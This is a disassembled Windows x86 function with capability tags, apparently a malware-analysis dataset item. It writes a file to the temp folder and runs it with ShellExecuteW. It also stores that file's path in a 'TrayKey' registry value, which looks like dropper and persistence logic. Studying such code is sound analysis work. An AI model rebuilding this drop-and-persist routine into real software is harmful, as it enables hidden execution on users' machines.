Function at 0x401d6e
Capabilities:
Create process on windows
Get common file path
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
lea ebp, [esp - 0x290]
sub esp, 0x310
mov eax, dword [0x433c20]
xor eax, ebp
mov dword [ebp + 0x28c], eax
push ebx
push esi
push edi
xor eax, eax
push 0x206
mov word [ebp + 0x5c], ax
xor ebx, ebx
lea eax, [ebp + 0x5e]
push ebx
push eax
call fcn.004155b0
add esp, 0xc
xor eax, eax
push 9
mov word [ebp + 0x264], ax
pop ecx
lea edi, [ebp + 0x266]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov edi, 0x438640
mov esi, 0x104
mov eax, edi
mov dword [ebp - 0x7c], ebx
mov dword [ebp - 0x80], esi
lea edx, [eax + 2]
mov cx, word [eax]
inc eax
inc eax
cmp cx, bx
jne 0x401dd1
sub eax, edx
sar eax, 1
je 0x401df6
push edi
push ebx
push 0x20000
call dword [sym.imp.KERNEL32.dll_OpenEventW]
test eax, eax
jne 0x401fa9
lea eax, [ebp - 0x70]
push eax
push 0xf003f
push ebx
push str.SoftwareMicrosoftWindows_NTCurrentVersionWindows
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x401e64
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp + 0x264]
push eax
lea eax, [ebp - 0x7c]
push eax
push ebx
push str.TrayKey
push dword [ebp - 0x70]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x401e5b
lea eax, [ebp + 0x264]
push eax
push ebx
push 0x20000
call dword [sym.imp.KERNEL32.dll_OpenEventW]
test eax, eax
je 0x401e5b
push dword [ebp - 0x70]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x401fa9
push dword [ebp - 0x70]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp + 0x5c]
push eax
push esi
mov dword [ebp - 0x78], ebx
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov eax, edi
lea edx, [eax + 2]
mov cx, word [eax]
inc eax
inc eax
cmp cx, bx
jne 0x401e77
sub eax, edx
sar eax, 1
lea eax, [ebp + 0x5c]
jne 0x401eb3
push str.sege
push esi
push eax
call fcn.00413190
add esp, 0xc
xor eax, eax
movzx ecx, word [eax + str.sege]
mov word [ebp + eax + 0x264], cx
inc eax
inc eax
cmp cx, bx
jne 0x401e9b
jmp 0x401ed6
push edi
push esi
push eax
call fcn.00413190
add esp, 0xc
xor eax, eax
movzx ecx, word [eax + 0x438640]
mov word [ebp + eax + 0x264], cx
inc eax
inc eax
cmp cx, bx
jne 0x401ec0
push 0x42c8c0
lea eax, [ebp + 0x5c]
push esi
push eax
call fcn.00413190
lea eax, [ebp - 0x78]
push eax
call fcn.00404760
add esp, 0x10
mov dword [ebp - 0x74], eax
cmp eax, ebx
je 0x401fa9
push eax
lea eax, [ebp + 0x5c]
push eax
mov eax, dword [ebp - 0x78]
call fcn.004047e0
pop ecx
pop ecx
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
push ebx
push 0x42c80c
lea eax, [ebp + 0x5c]
push eax
push ebx
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push 0x1a
pop ecx
mov esi, str.SoftwareMicrosoftWindows_NTCurrentVersionWindows
lea edi, [ebp - 0x6c]
rep movsd dword es:[edi], dword [esi]
push 0x5e
lea eax, [ebp - 2]
push ebx
push eax
movsw word es:[edi], word [esi]
call fcn.004155b0
add esp, 0xc
lea eax, [ebp - 0x70]
push eax
push 3
push ebx
lea eax, [ebp - 0x6c]
push eax
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x401fa0
lea eax, [ebp + 0x264]
lea edx, [eax + 2]
mov cx, word [eax]
inc eax
inc eax
cmp cx, bx
jne 0x401f68
sub eax, edx
sar eax, 1
lea eax, [eax + eax + 2]
push eax
lea eax, [ebp + 0x264]
push eax
push 1
push ebx
push str.TrayKey
push dword [ebp - 0x70]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x401fa0
push dword [ebp - 0x70]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push dword [ebp - 0x74]
call fcn.00408d51
pop ecx
mov ecx, dword [ebp + 0x28c]
pop edi
pop esi
xor ecx, ebp
xor eax, eax
pop ebx
call fcn.00413181
add ebp, 0x290
leave
ret